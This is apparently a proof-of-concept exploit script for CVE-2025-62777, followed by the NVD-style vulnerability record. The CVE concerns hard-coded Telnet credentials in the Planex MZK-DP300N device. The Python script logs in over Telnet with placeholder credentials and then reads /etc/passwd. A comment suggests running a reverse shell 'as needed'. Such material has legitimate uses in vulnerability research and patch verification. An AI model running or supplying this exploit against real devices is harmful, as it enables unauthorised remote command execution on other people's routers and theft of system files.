CVE-2025-62777

#!/usr/bin/env python3 """ CVE-2025-62777 PoC - MZK-DP300N Hard-coded Credentials Exploit Target: MZK-DP300N < = 1.07 Attack Vector: Telnet with hard-coded credentials CVSS: 8.8 (High) """ import socket import sys import time def exploit_telnet(target_ip, username, password): """ Connect to MZK-DP300N via Telnet using hard-coded credentials and execute arbitrary commands. """ try: # Connect to Telnet service sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, 23)) # Read initial banner banner = sock.recv(1024) print(f"[+] Received banner: {banner.decode('utf-8', errors='ignore')}") # Login process time.sleep(1) sock.sendall(username.encode() + b'\n') time.sleep(0.5) sock.sendall(password.encode() + b'\n') time.sleep(1) # Check if login successful response = sock.recv(4096) print(f"[+] Login response: {response.decode('utf-8', errors='ignore')}") if b'#' in response or b'$' in response or b'BusyBox' in response: print("[+] Login successful! Executing commands...") # Execute arbitrary command cmd = b'cat /etc/passwd\n' sock.sendall(cmd) time.sleep(1) output = sock.recv(4096) print(f"[+] Command output:\n{output.decode('utf-8', errors='ignore')}") # Execute reverse shell or other commands as needed return True else: print("[-] Login failed!") return False except Exception as e: print(f"[-] Error: {str(e)}") return False finally: sock.close() def main(): if len(sys.argv) < 2: print("Usage: python3 cve_2025_62777.py <target_ip>") print("Example: python3 cve_2025_62777.py 192.168.1.1") sys.exit(1) target = sys.argv[1] # Hard-coded credentials for MZK-DP300N (to be extracted from firmware) # Note: Actual credentials should be extracted from the vulnerable firmware hardcoded_user = "admin" # Example credential hardcoded_pass = "password" # Example credential print(f"[*] Exploiting CVE-2025-62777 on {target}") print(f"[*] Using hard-coded credentials: {hardcoded_user}:{hardcoded_pass}") exploit_telnet(target, hardcoded_user, hardcoded_pass) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-62777", "sourceIdentifier": "[email protected]", "published": "2025-10-28T05:15:48.750", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use of Hard-Coded Credentials issue exists in MZK-DP300N version 1.07 and earlier, which may allow an attacker within the local network to log in to the affected device via Telnet and execute arbitrary commands."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN00021602/", "source": "[email protected]"}, {"url": "https://www.planex.co.jp/products/mzk-dp300n/", "source": "[email protected]"}]}}